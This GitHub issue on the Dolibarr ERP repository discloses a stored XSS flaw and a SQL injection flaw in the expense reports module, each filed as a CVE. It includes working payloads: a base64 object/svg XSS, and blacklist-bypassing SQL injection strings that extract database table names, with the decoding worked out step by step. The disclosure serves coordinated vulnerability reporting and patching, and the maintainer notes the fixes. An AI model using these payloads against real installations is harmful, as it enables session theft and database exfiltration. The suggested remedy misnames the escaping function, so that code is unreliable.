Dolibarr / dolibarr

Dolibarr ERP CRM is a modern software package to manage your company or foundation's activity (contacts, suppliers, invoices, orders, stocks, agenda, accounting, ...). it's an open source Web application (written in PHP) designed for businesses of any sizes, foundations and freelancers.
https://www.dolibarr.org
GNU General Public License v3.0
5.29k stars 2.74k forks source link

[Versions < 7.X] Disclosure of [CVE-2018-16809] SQL injection + [CVE-2018-16808] multiple XSS in expense reports #9449

Closed ACKNAK-Tools closed 5 years ago

ACKNAK-Tools commented 6 years ago

Just a ticket issue that is already solved as we discussed by email earlier. Since the vulnerabilities are fixed so we are disclosing the advisory..

As a reminder here are our mail discussion:

""" Hello,

First, we apologize for the time we took to contact you back (https://www.dolibarr.fr/forum/12-howto--aide/61141-vulnerabilites-critiques-versions-3-8-x-7-x#94096).

We have found 2 criticals vulnerabilities (SQL Injection + XSS Stored) in the "expense reports" module of Dolibarr (from version 3.8.X to the last release 7.X).

These vulnerabilities are described in the two .txt disclosures files attached.

Please let us know if you have difficulties to reproduce the vulnerabilities (you should use Burp as a proxy to edit easily the POST requests). We can provide you screenshots so you'll be more aware of what is happening.

Also we'd like to be informed when you'll have implement a fix for these vulnerabilities (as the ones advised in the disclosures), so we can test if the vulnerabilities are patched.

Once a proper fix will be released, we'd like to request 2 CVEs (SQLi and XSS Stored) and we would appreciate if you can name us in two separates disclosures/patchs.

Best regards,

--

chqrly, Erwan, Romain

DIGITEMIS CYBERSECURITY & PRIVACY """

Here is the first advisory about 2 two differents XSS stored in expense reports (one in the description of a new expense, the other one in the private && public note related to:

[CVE-2018-16808]

  1. ADVISORY INFORMATION

    Product: Dolibarr Vendor URL: https://www.dolibarr.org Type: XSS Stored Date found: 2018-02-20

  2. CREDITS

    This vulnerability was discovered and researched by Romain Koszyk, Erwan Robin, chqrly from DIGITEMIS CYBERSECURITY & PRIVACY.

  3. VERSIONS AFFECTED

    Dolibarr v3.8.X (starting from the new "expense reports" module) to last versions (v7.0.X)

  4. INTRODUCTION

    Dolibarr is an Open Source ERP & CRM for Business. The application manages sales, human resources, stocks, invoicing, billing, accounting, etc. The Open Source model gives them a lot of feedback which is a key factor to get a friendly user interface.

  5. VULNERABILITY DETAILS

    Dolibarr v3.8.X (starting from the new "expense reports" module) to last versions (v7.0.X) offers the possibility to process billing if you decide to activate the module. The expense reports module is a critical module since it might be used by a lot. No modules are activated by default. When you are editing a billing at "/expensereport/card.php?id=$id_integer&action=editline&rowid=$rowid_integer", the POST parameters not sanitizing properly the parameters. In fact, the application is using a recursive call to an eregi() or a preg_match() regex to determine the legitimity of the query being processed. The strings parameters "comments" and the public & private note can be abused to store a XSS. A XSS can also be triggered in the integers parameters however that will fail due to the integers parsing, generating an error which leak technical details about the database. The leak is due to a default misconfiguration of the server gives us too the information details about the query failing, PHP's version, Dolibarr's version, Server, type of database, OS' version.

The impact of the XSS Stored is more critical since there are no protection of the users by default (cookies' attributes, CSRF token, etc.).

Two contexts where XSS were found, in the description billing line and in the private & public note (when you want to edit them while the payload is set):

PAYLOAD_DESCRIPTION= 2"><object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoJ1hTUycpPg==><td class="a

PAYLOAD_PRIVATE_AND_PUBLIC_NOTE= <object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoJ1hTUycpPg==> to be associated with. The base64 "PHN2Zy9vbmxvYWQ9YWxlcnQoJ1hTUycpPg==" stands for <svg/onload=alert('XSS')> There are some filters used to block XSS like onload, onerror, etc. So using base64 still do the job, it is an example of many.

  1. RISK

    If exploited, that vulnerability can allow to steal an user session, even the super admin one is the super admin is designed as a validator of that billing. It can also used to make the users do unwilling actions on the application, exfiltrate private data to an unknown destination, etc.

  2. SOLUTION

    Sanitized properly the query before processing the request. Don't rely on blacklist to protect the application.

It is recommended to use htmlentities($parameter, ENT_QUOTE | ENT_HTML5, "UTF-8", true);

  1. REPORT TIMELINE

    2018-02-20: Discovery of the vulnerability 2018-02-20: Explanation of the vulnerability 2018-02-21: Determine all of the versions vulnerable to the exploit 2018-03-09: Send full vulnerability details to the Dolibarr's developers 2018-09-09: Disclosing the vulnerability on Github 2018-09-11: CVE-2018-16808 assigned

And the advisory of the SQL injection in expense report:

[CVE-2018-16809]

  1. ADVISORY INFORMATION

    Product: Dolibarr Vendor URL: https://www.dolibarr.org Type: UPDATE SQL Injection through Integer Date found: 2018-02-20

  2. CREDITS

    This vulnerability was discovered and researched by Romain Koszyk, Erwan Robin, chqrly from DIGITEMIS CYBERSECURITY & PRIVACY.

  3. VERSIONS AFFECTED

    Dolibarr v3.8.X (starting from the new "expense reports" module) to last versions (v7.X)

  4. INTRODUCTION

    Dolibarr is an Open Source ERP & CRM for Business. The application manages sales, human resources, stocks, invoicing, billing, accounting, etc. The Open Source model gives them a lot of feedback which is a key factor to get a friendly user interface.

  5. VULNERABILITY DETAILS

    Dolibarr v3.8.X (starting from the new "expense reports" module) to last versions (v7.X) offers the possibility to process billing if you decide to activate the module. The expense reports module is a critical module since it might be used by a lot. No modules are activated by default. When you are editing a billing at "/expensereport/card.php?id=$id_integer&action=editline&rowid=$rowid_integer", the POST parameters not sanitizing properly the parameters.In fact, the application is using a recursive call to preg_match regex to determine the legitimity of the query being processed. The integers parameters "qty", "value_unit" can be abused efficiently.

A default misconfiguration of the server (by default) gives us too the information details about the query failing, PHP's version, Dolibarr's version, Server, type of database, OS' version.

That way we can exploit the SQL injection easier.

To protect against SQL injections / XSS, Dolibarr uses these functions in /htdocs/main.inc.php :

=> function test_sql_and_script_inject($val, $type)

=> function analyseVarsForSqlAndScriptsInjection(&$var, $type)

Having these function in /htdocs/main.inc.php suggests that these are supposed to protect the whole application against SQLi/XSS. They are based on a blacklist (using preg_match) to detect a malicious code. So please have a real look at the fix you implement since this vulnerability is spreading probably accross many modules.

Context of the current query exploited:

We are in the modification of a billing.

The UPDATE query is constructed that way: UPDATE llx_expensereport_det SET comments=$comment,value_unit=$value_unit, qty=$quantity,date=$date,total_ht=$total_ht, total_ttc=$total_ttc,tva_tx=$tva_tx, fk_c_type_fees=$type_fees,fk_projet=$fk_projet WHERE rowid=$rowid;

Indications about the query:

Vulnerability was found abusing doubles parameters. There is a high possibility of injections in others types of parameters since using these functions to protect to protect the application is not enough.

Depending of the Dolibarr's version, we can either bypass the preg_match using an HTTP Parameters Fragmentation with at least 2 vulnerables parameters or with only one parameter by encoding some characters.

A working payload for an SQL Injection inside the modification of a billing line below version 7.X could be:

HTTP Parameters Fragmentation method with PAYLOAD_ONE and PAYLOAD_TWO #####################################################################

UPDATE llx_expensereport_det SET comments=$comment,value_unit=PAYLOAD_ONE,qty=PAYLOAD_TWO,date=$date,total_ht=$total_ht,total_ttc=$total_ttc,tva_tx=$tva_tx,fk_c_type_fees=$type_fees,fk_projet=$fk_projet WHERE rowid=$rowid;

PAYLOAD_ONE= (SEleCT(ascii(substring((Select(table_name)/*

PAYLOAD_TWO= /fRom(information_schema.tables)whEre((table_schema!='mysql')anD(table_schema!='information_schema'))/!LIMIT*/0,1),1,1)))),qty=666

Payload explanation: To avoid being caught by the insensitive case select.+from preg_match() regex, we split the payload into 2 parameters, those 2 parameters are doubles so spaces are removed from it. To keep having a working payload we have to abuse the use of (), /*/ and /!command*/.

Putting together the two payloads, we have a final UPDATE query like:

UPDATE llx_expensereport_det SET comments=$comment,value_unit=(SEleCT(ascii(substring((Select(table_name)/,qty=/fRom(information_schema.tables)whEre((table_schema!='mysql')anD(table_schema!='information_schema'))/!LIMIT/0,1),1,1)))),qty=666,date=$date,total_ht=$total_ht,total_ttc=$total_ttc,tva_tx=$tva_tx,fk_c_type_fees=$type_fees,fk_projet=$fk_projet WHERE rowid=$rowid;

As you can see the commented out $qty parameter is added at the end of the payload to let the UPDATE query still looks legitimate. Basically what is doing the current payload is retrieving the 1st char of the 1st table_name in the database and getting the ascii value of it. We can iterate to grab the 2nd char, the next table, column and so on.

So if the 1st char of the 1st table is 'l' (like llx_something), we will see in the value_unit billing line the value 108 which is the ascii code of 'l'.

That kind of payload is also working in the last stable version 7.0. However we also noticed a more efficient method in the last one.

It is possible in version 7.0 we can bypass the preg_match filter by encoding some characters allowing us to only use one parameter.

Only one parameter method #########################

UPDATE llx_expensereport_det SET comments=$comment,value_unit=$value_unit,qty=PAYLOAD,date=$date,total_ht=$total_ht,total_ttc=$total_ttc,tva_tx=$tva_tx,fk_c_type_fees=$type_fees,fk_projet=$fk_projet WHERE rowid=$rowid;

We also optimized the characters search, with that payload we can retrieve 5 characters per request:

PAYLOAD= (SEleCT(ascii(substring((Select(table_name)fR%6fm(information_schema.tables)whEre((table_schema!='mysql')anD(table_schema!='information_schema'))/!LIMIT/0,1),1,1))%2aPOW(256,0)%2bascii(substring((Select(table_name)fR%6fm(information_schema.tables)whEre((table_schema!='mysql')anD(table_schema!='information_schema'))/!LIMIT/0,1),2,1))%2aPOW(256,1)%2bascii(substring((Select(table_name)fR%6fm(information_schema.tables)whEre((table_schema!='mysql')anD(table_schema!='information_schema'))/!LIMIT/0,1),3,1))%2aPOW(256,2)%2bascii(substring((Select(table_name)fR%6fm(information_schema.tables)whEre((table_schema!='mysql')anD(table_schema!='information_schema'))/!LIMIT/0,1),4,1))%2aPOW(256,3)%2bascii(substring((Select(table_name)fR%6fm(information_schema.tables)whEre((table_schema!='mysql')anD(table_schema!='information_schema'))/!LIMIT/0,1),5,1))%2aPOW(256,4)))

The bypass is made on fRom by encoding the 'o' as its hexadecimal equivalent '6f'.

The payload is injected in the $qty parameter, it will holds the value of the ascii(1st_char) 256^0 + ascii(2nd_char) 256^1 + ascii(3rd_char) 256^2 + ascii(4th_char) 256^3 + ascii(5th_char) * 256^4

So using this payload we see that we retrieved the value 418213555308 in quantity.

To get the chars of it, we just use a binary mask: (418213555308 >> 0) & 0b11111111 => 108 ('l') (418213555308 >> 8) & 0b11111111 => 108 ('l') (418213555308 >> 16) & 0b11111111 => 120 ('x') (418213555308 >> 24) & 0b11111111 => 95 ('_') (418213555308 >> 32) & 0b11111111 => 108 ('a')

So the first table_name has a name starting with 'llx_a'.

  1. RISK

    If exploited, that vulnerability can allow to retrieve hash password, update billing that have already been accepted, retrieve files contents, retrieve the content of the whole database (tables, columns).

  2. SOLUTION

    Sanitized properly the query before processing the request, don't rely on preg_match protection, use prepared statements in the best of case or use this implementation:

$db_link = mysqli_connect("localhost", "user", "password", "db");

if (!$db_link) { printf("Connection to the database failed: %s\n", mysqli_connect_error()); exit(); }

$sanitized_parameter = mysqli_real_escape($db_link, $string_to_escape);

// That way we don't need to rely on blacklist preg_match

mysqli_query($db_link, "UPDATE .......... qty='$sanitized_parameter'...");

  1. REPORT TIMELINE

    2018-02-20: Discovery of the vulnerability 2018-02-20: Explanation of the vulnerability 2018-02-21: Development of the exploit code 2018-02-21: Determine all of the versions vulnerable to the exploit code 2018-03-09: Send full vulnerability details to the Dolibarr's developers 2018-09-09: Disclosing the vulnerability on Github 2018-09-11: CVE-2018-16809 assigned

DIGITEMIS CYBERSECURITY & PRIVACY https://www.digitemis.com

This ticket will be updated once the CVE will be asigned, thanks and keep up the good work !

eldy commented 5 years ago

With 7.0.1 and +, the field qty is now sanitized with $qty = GETPOST('qty','int'); So if qty is not numeric, value is completely refused.

For second point, Description/Comment is now escaped with dol_escape_htmltag so payload has now no negative effect.